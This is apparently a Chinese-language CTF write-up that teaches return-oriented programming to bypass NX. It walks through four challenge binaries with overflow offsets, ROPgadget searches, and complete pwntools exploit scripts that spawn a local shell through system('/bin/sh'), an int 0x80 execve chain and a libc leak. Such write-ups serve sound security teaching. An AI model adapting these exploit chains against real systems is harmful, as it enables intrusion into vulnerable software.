原文地址
在之前的缓冲区溢出的实验中,溢出到栈中的shellcode
可以直接被系统执行,给系统安全带来了极大的风险,因此NX
技术应运而生,该技术是一种在CPU上实现的安全技术,将数据和命令进行了区分,被标记为数据的内存页没有执行权限,因此即使将恶意shellcode
写入到执行流程中也会因缺少执行权限而利用失败,在一定程度上提高了系统的安全性,但是所有安全都是绝对的,一种名为ROP(Return-Oriented Programming)的技术就能绕过这项安全措施,ROP的核心思想是利用ret
,jmp
,call
等指令(主要是ret
)来连接代码的上下文从而改变程序执行流程的一项技术,由于ret指令的功能是将当前的栈顶数据弹出到EIP
中并跳转执行,我们可以在栈中精心构造一些以ret
结尾的特殊指令(gadget)使系统跳转到我们在栈中放置的指令的位置,进而执行这些指令,达到攻击的效果。
先拿一道bugs bunny ctf 2017
的pwn150
来说:
题目下载
这是一个64位的ELF文件且程序开启了NX:
放到IDA里可以很容易发现Hello()
函数中存在溢出漏洞:
现看一下溢出的情况,可以使用IDA的远程调试来看看再发生溢出后寄存器的数据,IDA远程调试教程
点击运行程序,向程序中输入如下字符串:
gdb-peda$ pattern_creat 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
回车之后IDA报错,段错误,查看此时寄存器中的数值:
栈内数据如下:
此时RSP寄存器中的值为41416741414B4141
,ASCII转化一下就是AAgAAKAA
,按照存储方式倒序就是AAKAAgAA
,查看偏移量为88:
gdb-peda$ pattern_offset AAKAAgAA
AAKAAgAA found at offset: 88
至此我们找到了到达RSP的距离,如果想实现system("/bin/sh")
起shell还需要找到system()
函数的位置和字符串/bin/sh
,和一个gadget
,gadget
是指程序中我们可以利用的代码片段,由于本程序为64位程序,在运行时与32位程序不同,64位程序的前六个整型或指针参数依次保存在RDI
,RSI
, RDX
,RCX
,R8
和R9
这六个寄存器中,多出来的参数才会入栈,因此我们按照ROP
的思路,需要找到的gadget
为pop rdi , ret
system()
的位置可以在main
函数中的一个today()
中找到:
.text:0000000000400756 ; __unwind {
.text:0000000000400756 push rbp
.text:0000000000400757 mov rbp, rsp
.text:000000000040075A mov edi, offset command ; "/bin/date"
.text:000000000040075F call _system
.text:0000000000400764 nop
.text:0000000000400765 pop rbp
.text:0000000000400766 retn
.text:0000000000400766 ; } // starts at 400756
.text:0000000000400766 today endp
.text:0000000000400766
地址为000000000040075F
/bin/sh
可以在Hello的输出语句的shorry
中找到一个sh
地址为00000000004008fb
本来还想着这里怎么打错了,原来是留了后门啊,也可以在函数名中找到:
地址为00000000004003ef
寻找目标gadget
可用此程序:ROPgadget
⚡ root@kali ROPgadget --binary pwn150 | grep "pop rdi"
0x0000000000400883 : pop rdi ; ret
找到了以上的地址,可以构造脚本了:
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = process("./pwn150")
system = 0x40075f
binsh = 0x4003ef
pop_rdi_ret = 0x400883
payload="A"*88
payload+=p64(pop_rdi_ret)
payload+=p64(binsh)
payload+=p64(system)
io.sendline(payload)
io.interactive()
漏洞利用成功,再解释一下为什么 要这样构造脚本:
首先发送了88个字节填充无用空间,在88个字节之后的数据gadget
会存储在ESP所指的内存区域,此时系统会执行gadget
的指令pop rdi ; ret
,rsp+8
,通过pop rdi
将/bin/sh
弹出到RDI寄存器中,rsp+8
,rsp
此时指向system()
,之后会执行ret
,因为此时RSP指向system()
,系统会调用system()
函数并将rdi
中的值作为参数传到system()
中从而执行system("/bin/sh")
int 0x80
完成ROP上文中的例子是程序中有system函数调用的情况,但是如果程序中没有system函数的调用应该怎么办呢?
我们可以使用int 0x80
来进行系统中断
启动系统调用需要使用
INT
指令。linux
系统调用位于中断0x80
,执行INT
指令时,所有操作转移到内核中的系统调用处理程序,完成后执行转移到INT
指令之后的下一条指令。操作系统实现系统调用的基本过程是:
- 应用程序调用库函数(API);
- API将系统调用号存入EAX,然后通过中断调用使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入EAX,返回到中断处理函数;
- 中断处理函数返回到API中;
- API将EAX返回给应用程序。
- 寄存器
eax
存放调用号,剩下的几个寄存器存放参数。
拿Tamu CTF 2018
的pwn5
来说:
题目下载
看一下开启的安全措施:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA看一下:
int first_day_corps()
{
int result; // eax
printf(
"You wake with a start as your sophomore yells \"Wake up fish %s! Why aren't you with your buddies in the fallout hole?\"\n");
puts("As your sophomore slams your door close you quickly get dressed in pt gear and go to the fallout hole.");
puts("You spend your morning excersizing and eating chow.");
puts("Finally your first day of class begins at Texas A&M. What do you decide to do next?(Input option number)");
puts("1. Go to class.\n2. Change your major.\n3. Skip class and sleep\n4. Study");
getchar();
result = (char)getchar();
if ( result == 50 )
{
printf("You decide that you are already tired of studying %s and go to the advisors office to change your major\n");
printf("What do you change your major to?: ");
result = change_major();
}
else if ( result > 50 )
{
if ( result == 51 )
{
result = puts(
"You succumb to the sweet calling of your rack and decide that sleeping is more important than class at the moment.");
}
else if ( result == 52 )
{
puts(
"You realize that the corps dorms are probably not the best place to be studying and decide to go to the library");
result = printf(
"Unfortunately the queitness of the library works against you and as you are studying %s related topics "
"you start to doze off and fall asleep\n");
}
}
else if ( result == 49 )
{
puts("You go to class and sit front and center as the Corps academic advisors told you to do.");
printf(
"As the lecturer drones on about a topic that you don't quite understand in the field of %s you feel yourself begin"
"ning to drift off.\n");
result = puts("You wake with a start and find that you are alone in the lecture hall.");
}
return result;
}
这道题的英文部分是真的多,分析一圈下来发现这些都是些没有什么作用的输出语句,漏洞存在于change_major()
函数:
找到漏洞之后我们可以构造ROP了,由于这个程序中没有system函数,我们需要找到int 0x80
系统中断,可用ROPgadget
:
⚡ root@kali ROPgadget --binary pwn5 | grep "int 0x80"
0x08071003 : add byte ptr [eax], al ; int 0x80
0x08071001 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x08071005 : int 0x80 // <=======这里
0x08070ffe : invd ; mov eax, 1 ; int 0x80
0x0807ed3a : ja 0x807ed40 ; add byte ptr [eax], al ; int 0x80
0x080bb0a6 : js 0x80bb0b0 ; int 0x80
0x080bb172 : js 0x80bb17b ; int 0x80
0x08070ffc : lock or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed39 : mov eax, 0x77 ; int 0x80
0x0807ed30 : mov eax, 0xad ; int 0x80
0x08071000 : mov eax, 1 ; int 0x80
0x0807398f : nop ; int 0x80
0x0807ed2f : nop ; mov eax, 0xad ; int 0x80
0x0807398e : nop ; nop ; int 0x80
0x0807398c : nop ; nop ; nop ; int 0x80
0x0807398a : nop ; nop ; nop ; nop ; int 0x80
0x08073988 : nop ; nop ; nop ; nop ; nop ; int 0x80
0x0807ed37 : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x08070fff : or byte ptr [eax + 1], bh ; int 0x80
0x08070ffd : or dword ptr [edi], ecx ; or byte ptr [eax + 1], bh ; int 0x80
0x0807ed38 : pop eax ; mov eax, 0x77 ; int 0x80
0x080bb0a7 : push es ; int 0x80
找到int 8后需要找到执行系统调用的函数,在http://syscalls.kernelgrok.com/ 上有详细的参数,我们要调用
sys_execve :
execve("/bin/sh",NULL,NULL)
eax
应该为0xb
ebx
应该指向/bin/sh
的地址,或者指向sh
的地址ecx
应该为0edx
应该为0因此我们需要找到控制这几个寄存器的gadget
如pop eax ; pop ebx ; pop ecx ; pop edx ; ret
⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'eax'
0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret //<=====
0x080a150a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bc396 : pop eax ; ret
0x080a1509 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
我们可以用这一条0x08095ff4 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
,
没有ecx
,在找一下pop ecx
:
⚡ root@kali ROPgadget --binary pwn5 --only 'pop|ret' | grep 'ecx'
0x0804b99a : pop dword ptr [ecx] ; ret
0x080733b1 : pop ecx ; pop ebx ; ret //<=====
0x080e4325 : pop ecx ; ret
0x080733b0 : pop edx ; pop ecx ; pop ebx ; ret
用这一个:0x080733b1 : pop ecx ; pop ebx ; ret
寻找溢出
[----------------------------------registers-----------------------------------]
EAX: 0x1f
EBX: 0x80481b0 (<_init>: push ebx)
ECX: 0x7fffffe1
EDX: 0x80f14d4 --> 0x0
ESI: 0x80f000c --> 0x806a620 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EDI: 0x5e ('^')
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd130 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd134 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd138 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd13c ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd140 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0020| 0xffffd144 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0024| 0xffffd148 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0028| 0xffffd14c ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ pattern_offset A)AA
A)AA found at offset: 32
随便找了一个sh
,地址为0x80BF5C8
:
到这里就可以愉快的写脚本了:
#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")
sh=0x080BF5C8 #"sh"
pop1=0x08095ff4 #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2=0x080733b1 #pop ecx ; pop ebx ; ret
int_80=0x08071005 #int 0x80
payload=""
payload+="A"*32
payload+=p32(pop1) #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload+=p32(0xb)
payload+=p32(sh)
payload+=p32(0)
payload+=p32(0)
payload+=p32(sh)
payload+=p32(pop2) #pop ecx ; pop ebx ; ret
payload+=p32(0)
payload+=p32(sh)
payload += p32(int_80)
io.sendline("A")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")
io.sendline(payload)
io.interactive()
运行此脚本时发现并不能成功getshell
,猜想是sh
字符串的问题,于是尝试换一个方法,向程序输入/bin/sh
,找到在bss
段的存储位置:
.bss:080F1A04 ; change_major+33↑o ...
.bss:080F1A20 public first_name
.bss:080F1A20 first_name db ? ; ; DATA XREF: print_beginning+51↑o
.bss:080F1A20 ; print_beginning+66↑o ...
.bss:080F1A21 db ? ;
.bss:080F1A22 db ? ;
于是将脚本改为
#!/usr/bin/python
#coding : utf-8
from pwn import *
io = process("./pwn5")
bin_sh = 0x080f1a20 #"/bin/sh"
pop1 = 0x08095ff4 #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop2 = 0x080733b1 #pop ecx ; pop ebx ; ret
int_80 = 0x08071005 #int 0x80
payload = ""
payload += "A" * 32
payload += p32(pop1) #pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += p32(0xb)
payload += p32(bin_sh)
payload += p32(0)
payload += p32(0)
payload += p32(bin_sh)
payload += p32(pop2) #pop ecx ; pop ebx ; ret
payload += p32(0)
payload += p32(bin_sh)
payload += p32(int_80)
io.sendline("/bin/sh")
io.sendline("A")
io.sendline("A")
io.sendline("y")
io.sendline("2")
io.sendline(payload)
io.interactive()
getshell
成功:
小结:
调用系统中断来绕过NX的方法总的来说不算难,要能从程序中找到
int 0x80
并能找到能改变要调用的函数的参数的指令,然后依次传参利用即可
题目下载
这是一道来自RedHat 2017
的题目pwn1
使用IDA可以很容易发现此程序的main()
函数存在栈溢出,伪C代码如下:
int __cdecl main()
{
int v1; // [esp+18h] [ebp-28h]
puts("pwn test");
fflush(stdout);
__isoc99_scanf("%s", &v1);
printf("%s", &v1);
return 1;
}
程序开启了NX
,也就是说我们不能直接把shellcode写到栈中执行,因此向我们找一下获取flag
的途径,在IDA中可以看到程序调用了system()
函数,另外程序中有scanf()
,因此我们可以考虑通过scanf()
函数将/bin/sh
字符串读取到栈中并通过构造ROP链使得程序执行system("/bin/sh")
从而get flag
.rodata:08048620 s db 'pwn test',0 ; DATA XREF: main+9↑o
.rodata:08048629 ; char format[]
.rodata:08048629 format db '%s',0 ; DATA XREF: main+2A↑o
.rodata:08048629 ; main+3E↑o
.rodata:08048629 _rodata ends
.rodata:08048629
scanf()
的参数%s
的位置为08048629
程序本身并没有可以用来起shell的字符串,因此我们需要通过scanf把/bin/sh写入到内存页中,但是并不是所有的内存页都能写入,我们可以使用IDA的快捷键ctrl+S查看内存页的情况
可见在0804A030
有一块可读可写且长度足够的空间我们可以把/bin/sh
写到这里面
通过pattern
模块可知padding
为52
,可得脚本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)
payload="A"*52 #构造padding
payload+=scanf_addr #覆盖EIP的值为scanf的函数地址
payload+=baifenhao_s #scanf的第一个参数:%s
payload+=binsh_addr #scanf的第二个参数:地址
......
这里出现一些问题如果我们直接像上面那样写脚本的话,在EIP
指向scanf()
的时候,call __isoc99_scanf
之后,ret
指令会将call指令压入栈中的地址取出给EIP
,但是我们向上面那样构造脚本并没有模拟出call
指令的压栈操作,因此我们需要把脚本修改一下,在scanf()
的地址和scanf()
的参数之间加上一个scanf()
调用完成之后的返回地址,由于我们需要调用过scanf()
之后再调用system()
函数,因此我们可以把这个地址修改为main()
函数的地址以便于进行第二次栈溢出执行system()
函数,示意图如下
+----------------+ +----------------+
| scanf_addr | | scanf_addr |
+----------------+ +----------------+
| baifenhao_s | ========> | main_addr |
+----------------+ 修改为: +----------------+
| binsh_addr | | baifenhao_s |
+----------------+ +----------------+
| binsh_addr |
+----------------+
main()
函数地址为08048531
.text:08048531 ; =============== S U B R O U T I N E =======================================
.text:08048531
.text:08048531 ; Attributes: bp-based frame
.text:08048531
.text:08048531 ; int __cdecl main(int, char **, char **)
.text:08048531 main proc near ; DATA XREF: start+17↑o
.text:08048531 ; __unwind {
.text:08048531 push ebp
.text:08048532 mov ebp, esp
因此脚本如下:
#!/usr/bin/python
#coding:utf-8
from pwn import *
p=process('./pwn1')
elf=ELF('./pwn1')
scanf_addr=p32(elf.symbols['__isoc99_scanf'])
system_addr=p32(elf.symbols['system'])
main_addr=p32(0x08048531)
baifenhao_s=p32(0x08048629)
binsh_addr=p32(0x0804A030)
payload1="A"*52 #构造padding
payload1+=scanf_addr #覆盖EIP的值为scanf的函数地址
payload1+=main_addr #ret到main()
payload1+=baifenhao_s #scanf的第一个参数:%s
payload1+=binsh_addr #scanf的第二个参数:地址
payload2="B"*44 #构造padding,ebp-8,所以padding-8
payload2+=system_addr #覆盖EIP的值为system的函数地址
payload2+=main_addr #system函数的返回地址,无需考虑,可随意填充
payload2+=binsh_addr #binsh字符串的地址充当system()函数的参数
p.sendline(payload1)
p.sendline("/bin/sh")
p.sendline(payload2)
p.interactive()
效果:
题目下载
有时候题目所给的程序中并没有可以直接拿来用的函数地址或者字符串,但是给了libc
文件,这个文件中包含我们能用到的函数,因此我们可以通过计算相应的函数地址在libc
中的偏移量来计算出libc
映射到程序中的起始地址,进而利用libc
中的其他函数
在Security Fest CTF 2016
的tvstation
中,主要逻辑如下
void __noreturn menu()
{
signed int v0; // eax
while ( 1 )
{
while ( 1 )
{
print_menu();
v0 = (char)get_one();
if ( v0 != 50 )
break;
user();
}
if ( v0 > 50 )
{
if ( v0 == 51 )
{
puts("Disconnected!");
exit(0);
}
if ( v0 == 52 )
debug();
else
LABEL_13:
puts("Invalid option!");
}
else
{
if ( v0 != 49 )
goto LABEL_13;
uptime();
}
}
}
这里面有一个debug()
函数:
__int64 debug()
{
void *v0; // ST08_8
size_t v1; // rax
puts("\n=== TV Station - Debug Menu ===");
v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "system");
sprintf(fmsg, info, v0);
v1 = strlen(fmsg);
write(1, fmsg, v1);
return debug_func(1LL, fmsg);
}
此函数会直接泄露system()
在此程序中加载的位置
system()
在libc
的偏移量为00000000000456A0
:
.text:00000000000456A0 ; =============== S U B R O U T I N E =======================================
.text:00000000000456A0
.text:00000000000456A0
.text:00000000000456A0 public system ; weak
.text:00000000000456A0 system proc near ; DATA XREF: LOAD:0000000000007438↑o
.text:00000000000456A0 ; LOAD:000000000000BC68↑o
.text:00000000000456A0 ; __unwind {
.text:00000000000456A0 test rdi, rdi
.text:00000000000456A3 jz short loc_456B0
.text:00000000000456A5 jmp sub_45130
/bin/sh
的偏移地址000000000018AC40
:
.rodata:000000000018AC40 aBinSh db '/bin/sh',0 ; DATA XREF: sub_45130+451↑o
.rodata:000000000018AC40 ; _IO_proc_open+2F9↑o ...
有了system()
和/bin/sh
的偏移地址后我们需要一个gadget
来给system()
传参:
⚡ root@kali ROPgadget --binary tvstation | grep "pop rdi"
0x0000000000400c13 : pop rdi ; ret
因此可以构造脚本如下:
#!/usr/bin/python
#coding:"utf-8"
from pwn import *
io=process('./tvstation')
#elf=ELF('./libc.so.6_x64')
io.recvuntil(": ")
io.sendline('4') #跳转到debug()
io.recvuntil("@0x")
system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址
libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址
pop_rdi_addr = 0x400c13 #pop rdi; ret 在内存中的地址,给system函数传参
binsh_addr = libc_start + 0x18AC40 #"/bin/sh"字符串在内存中的地址
payload = ""
payload += 'A'*40 #padding
payload += p64(pop_rdi_addr) #pop rdi; ret
payload += p64(binsh_addr) #system函数参数
payload += p64(system_addr) #调用system()执行system("/bin/sh")
io.sendline(payload)
io.interactive()